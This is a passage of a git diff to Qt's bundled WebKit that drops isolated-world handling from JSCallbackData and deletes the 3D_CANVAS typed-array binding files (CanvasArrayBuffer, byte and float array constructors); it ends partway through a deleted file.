diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCallbackData.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCallbackData.cpp
index 38292c7..e128f27 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCallbackData.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSCallbackData.cpp
@@ -47,13 +47,8 @@ JSValue JSCallbackData::invokeCallback(MarkedArgumentBuffer& args, bool* raisedE
     ASSERT(globalObject());
 
     ExecState* exec = globalObject()->globalExec();
-    
-    JSValue function;
-    {
-        // Switch worlds, just in case handleEvent is a getter and causes JS execution!
-        EnterDOMWrapperWorld worldEntry(exec, m_isolatedWorld.get());
-        function = callback()->get(exec, Identifier(exec, "handleEvent"));
-    }
+    JSValue function = callback()->get(exec, Identifier(exec, "handleEvent"));
+
     CallData callData;
     CallType callType = function.getCallData(callData);
     if (callType == CallTypeNone) {
@@ -64,7 +59,7 @@ JSValue JSCallbackData::invokeCallback(MarkedArgumentBuffer& args, bool* raisedE
     }
     
     globalObject()->globalData()->timeoutChecker.start();
-    JSValue result = callInWorld(exec, function, callType, callData, callback(), args, m_isolatedWorld.get());
+    JSValue result = JSC::call(exec, function, callType, callData, callback(), args);
     globalObject()->globalData()->timeoutChecker.stop();
 
     Document::updateStyleForAllDocuments();
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCallbackData.h b/src/3rdparty/webkit/WebCore/bindings/js/JSCallbackData.h
index 5c86701..b939c01 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCallbackData.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSCallbackData.h
@@ -48,7 +48,6 @@ public:
     JSCallbackData(JSC::JSObject* callback, JSDOMGlobalObject* globalObject)
         : m_callback(callback)
         , m_globalObject(globalObject)
-        , m_isolatedWorld(currentWorld(globalObject->globalExec()))
     {
     }
     
@@ -65,7 +64,6 @@ public:
 private:
     JSC::ProtectedPtr<JSC::JSObject> m_callback;
     JSC::ProtectedPtr<JSDOMGlobalObject> m_globalObject;
-    RefPtr<DOMWrapperWorld> m_isolatedWorld;
 };
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasArrayBufferConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasArrayBufferConstructor.cpp
deleted file mode 100644
index 93d53ca..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasArrayBufferConstructor.cpp
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasArrayBufferConstructor.h"
-
-#include "Document.h"
-#include "CanvasArrayBuffer.h"
-#include "JSCanvasArrayBuffer.h"
-
-namespace WebCore {
-
-using namespace JSC;
-
-const ClassInfo JSCanvasArrayBufferConstructor::s_info = { "CanvasArrayBufferConstructor", 0, 0, 0 };
-
-JSCanvasArrayBufferConstructor::JSCanvasArrayBufferConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
-    : DOMConstructorObject(JSCanvasArrayBufferConstructor::createStructure(globalObject->objectPrototype()), globalObject)
-{
-    putDirect(exec->propertyNames().prototype, JSCanvasArrayBufferPrototype::self(exec, globalObject), None);
-    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
-}
-
-static JSObject* constructCanvasArrayBuffer(ExecState* exec, JSObject* constructor, const ArgList& args)
-{
-    JSCanvasArrayBufferConstructor* jsConstructor = static_cast<JSCanvasArrayBufferConstructor*>(constructor);
-
-    unsigned int size = 0;
-    if (args.size() == 1) {
-        size = (unsigned int)args.at(0).toInt32(exec);
-        if (isnan(size))
-            size = 0;
-    }
-    return asObject(toJS(exec, jsConstructor->globalObject(), CanvasArrayBuffer::create(size)));
-}
-
-JSC::ConstructType JSCanvasArrayBufferConstructor::getConstructData(JSC::ConstructData& constructData)
-{
-    constructData.native.function = constructCanvasArrayBuffer;
-    return ConstructTypeHost;
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasArrayBufferConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasArrayBufferConstructor.h
deleted file mode 100644
index 5f1254e..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasArrayBufferConstructor.h
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef JSCanvasArrayBufferConstructor_h
-#define JSCanvasArrayBufferConstructor_h
-
-#include "JSDOMBinding.h"
-#include "JSDocument.h"
-#include "JSCanvasArrayBuffer.h"
-#include <runtime/Error.h>
-
-namespace WebCore {
-
-    class CanvasArray;
-
-    // Template function used by CanvasXXXArrayConstructors
-    template<class C, typename T>
-    PassRefPtr<CanvasArray> construct(JSC::ExecState* exec, const JSC::ArgList& args)
-    {
-        // There are 3 constructors:
-        //
-        //  1) (in int size)
-        //  2) (in CanvasArrayBuffer buffer, [Optional] in int offset, [Optional] in unsigned int length)
-        //  3) (in sequence<T>) - This ends up being a JS "array-like" object
-        //
-        RefPtr<C> arrayObject;
-        
-        // For the 0 args case, just create an object without a buffer 
-        if (args.size() < 1)
-            return C::create(0, 0, 0);
-        
-        if (args.at(0).isObject()) {
-            RefPtr<CanvasArrayBuffer> buffer = toCanvasArrayBuffer(args.at(0));
-            if (buffer) {
-                int offset = (args.size() > 1) ? args.at(1).toInt32(exec) : 0;
-                unsigned int length = (args.size() > 2) ? static_cast<unsigned int>(args.at(2).toInt32(exec)) : 0;
-                return C::create(buffer, offset, length);
-            }
-            
-            JSC::JSObject* array = asObject(args.at(0));
-            int length = array->get(exec, JSC::Identifier(exec, "length")).toInt32(exec);
-            void* tempValues;
-            if (!tryFastMalloc(length * sizeof(T)).getValue(tempValues)) {
-                throwError(exec, JSC::GeneralError);
-                return 0;
-            }
-            
-            OwnFastMallocPtr<T> values(static_cast<T*>(tempValues));
-            for (int i = 0; i < length; ++i) {
-                JSC::JSValue v = array->get(exec, i);
-                if (exec->hadException())
-                    return 0;
-                values.get()[i] = static_cast<T>(v.toNumber(exec));
-            }
-            
-            return C::create(values.get(), length);
-        }
-        
-        unsigned size = static_cast<unsigned>(args.at(0).toInt32(exec));
-        return C::create(size);
-    }
-
-    class JSCanvasArrayBufferConstructor : public DOMConstructorObject {
-    public:
-        JSCanvasArrayBufferConstructor(JSC::ExecState*, JSDOMGlobalObject*);
-        static const JSC::ClassInfo s_info;
-
-    private:
-        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
-        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    };
-
-}
-
-#endif // JSCanvasArrayBufferConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasArrayCustom.cpp
deleted file mode 100644
index 14548d7..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasArrayCustom.cpp
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "config.h"
-#include "JSCanvasArray.h"
-#include "JSCanvasByteArray.h"
-#include "JSCanvasUnsignedByteArray.h"
-#include "JSCanvasShortArray.h"
-#include "JSCanvasUnsignedShortArray.h"
-#include "JSCanvasIntArray.h"
-#include "JSCanvasUnsignedIntArray.h"
-#include "JSCanvasFloatArray.h"
-
-#include "CanvasArray.h"
-
-using namespace JSC;
-
-namespace WebCore {
-
-JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CanvasArray* object)
-{
-    if (object->isFloatArray())
-        return getDOMObjectWrapper<JSCanvasFloatArray>(exec, globalObject, static_cast<CanvasFloatArray*>(object));
-    if (object->isUnsignedByteArray())
-        return getDOMObjectWrapper<JSCanvasUnsignedByteArray>(exec, globalObject, static_cast<CanvasUnsignedByteArray*>(object));
-    if (object->isByteArray())
-        return getDOMObjectWrapper<JSCanvasByteArray>(exec, globalObject, static_cast<CanvasByteArray*>(object));
-    if (object->isIntArray())
-        return getDOMObjectWrapper<JSCanvasIntArray>(exec, globalObject, static_cast<CanvasIntArray*>(object));
-    if (object->isUnsignedIntArray())
-        return getDOMObjectWrapper<JSCanvasUnsignedIntArray>(exec, globalObject, static_cast<CanvasUnsignedIntArray*>(object));
-    if (object->isShortArray())
-        return getDOMObjectWrapper<JSCanvasShortArray>(exec, globalObject, static_cast<CanvasShortArray*>(object));
-    if (object->isUnsignedShortArray())
-        return getDOMObjectWrapper<JSCanvasUnsignedShortArray>(exec, globalObject, static_cast<CanvasUnsignedShortArray*>(object));
-    return jsUndefined();
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasByteArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasByteArrayConstructor.cpp
deleted file mode 100644
index ec1d66d..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasByteArrayConstructor.cpp
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasByteArrayConstructor.h"
-
-#include "Document.h"
-#include "CanvasByteArray.h"
-#include "JSCanvasArrayBuffer.h"
-#include "JSCanvasArrayBufferConstructor.h"
-#include "JSCanvasByteArray.h"
-#include <runtime/Error.h>
-
-namespace WebCore {
-
-using namespace JSC;
-
-const ClassInfo JSCanvasByteArrayConstructor::s_info = { "CanvasByteArrayConstructor", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasByteArrayConstructor::JSCanvasByteArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
-    : DOMConstructorObject(JSCanvasByteArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
-{
-    putDirect(exec->propertyNames().prototype, JSCanvasByteArrayPrototype::self(exec, globalObject), None);
-    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
-}
-
-static JSObject* constructCanvasByteArray(ExecState* exec, JSObject* constructor, const ArgList& args)
-{
-    JSCanvasByteArrayConstructor* jsConstructor = static_cast<JSCanvasByteArrayConstructor*>(constructor);
-    RefPtr<CanvasByteArray> array = static_cast<CanvasByteArray*>(construct<CanvasByteArray, signed char>(exec, args).get());
-    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
-}
-
-JSC::ConstructType JSCanvasByteArrayConstructor::getConstructData(JSC::ConstructData& constructData)
-{
-    constructData.native.function = constructCanvasByteArray;
-    return ConstructTypeHost;
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasByteArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasByteArrayConstructor.h
deleted file mode 100644
index 4d5dc11..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasByteArrayConstructor.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef JSCanvasByteArrayConstructor_h
-#define JSCanvasByteArrayConstructor_h
-
-#include "JSDOMBinding.h"
-#include "JSDocument.h"
-
-namespace WebCore {
-
-    class JSCanvasByteArrayConstructor : public DOMConstructorObject {
-    public:
-        JSCanvasByteArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
-        static const JSC::ClassInfo s_info;
-
-    private:
-        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
-        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    };
-
-}
-
-#endif // JSCanvasByteArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasByteArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasByteArrayCustom.cpp
deleted file mode 100644
index 04697ce..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasByteArrayCustom.cpp
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasByteArray.h"
-
-#include "CanvasByteArray.h"
-
-using namespace JSC;
-
-namespace WebCore {
-
-void JSCanvasByteArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
-{
-    impl()->set(index, static_cast<signed char>(value.toInt32(exec)));
-}
-
-JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CanvasByteArray* object)
-{
-    return getDOMObjectWrapper<JSCanvasByteArray>(exec, globalObject, object);
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasFloatArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasFloatArrayConstructor.cpp
deleted file mode 100644
index 15e39c2..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasFloatArrayConstructor.cpp
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasFloatArrayConstructor.h"
-
-#include "Document.h"
-#include "CanvasFloatArray.h"
-#include "JSCanvasArrayBuffer.h"
-#include "JSCanvasArrayBufferConstructor.h"
-#include "JSCanvasFloatArray.h"
-#include <runtime/Error.h>
-
-namespace WebCore {
-
-using namespace JSC;
-
-const ClassInfo JSCanvasFloatArrayConstructor::s_info = { "CanvasFloatArrayConstructor", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasFloatArrayConstructor::JSCanvasFloatArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
-    : DOMConstructorObject(JSCanvasFloatArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
-{
-    putDirect(exec->propertyNames().prototype, JSCanvasFloatArrayPrototype::self(exec, globalObject), None);
-    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
-}
-
-static JSObject* constructCanvasFloatArray(ExecState* exec, JSObject* constructor, const ArgList& args)
-{
-    JSCanvasFloatArrayConstructor* jsConstructor = static_cast<JSCanvasFloatArrayConstructor*>(constructor);
-    RefPtr<CanvasFloatArray> array = static_cast<CanvasFloatArray*>(construct<CanvasFloatArray, float>(exec, args).get());
-    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
-}
-
-JSC::ConstructType JSCanvasFloatArrayConstructor::getConstructData(JSC::ConstructData& constructData)
-{
-    constructData.native.function = constructCanvasFloatArray;
-    return ConstructTypeHost;
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasFloatArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasFloatArrayConstructor.h
deleted file mode 100644
index efea250..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasFloatArrayConstructor.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef JSCanvasFloatArrayConstructor_h
-#define JSCanvasFloatArrayConstructor_h
-
-#include "JSDOMBinding.h"
-#include "JSDocument.h"
-
-namespace WebCore {
-
-    class JSCanvasFloatArrayConstructor : public DOMConstructorObject {
-    public:
-        JSCanvasFloatArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
-        static const JSC::ClassInfo s_info;
-
-    private:
-        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
-        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    };
-
-}
-
-#endif // JSCanvasFloatArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasFloatArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasFloatArrayCustom.cpp
deleted file mode 100644
index 20cd805c0..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasFloatArrayCustom.cpp
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasFloatArray.h"
-
-#include "CanvasFloatArray.h"
-
-using namespace JSC;
-
-namespace WebCore {
-
-void JSCanvasFloatArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
-{
-    impl()->set(index, static_cast<float>(value.toInt32(exec)));
-}
-
-JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CanvasFloatArray* object)
-{
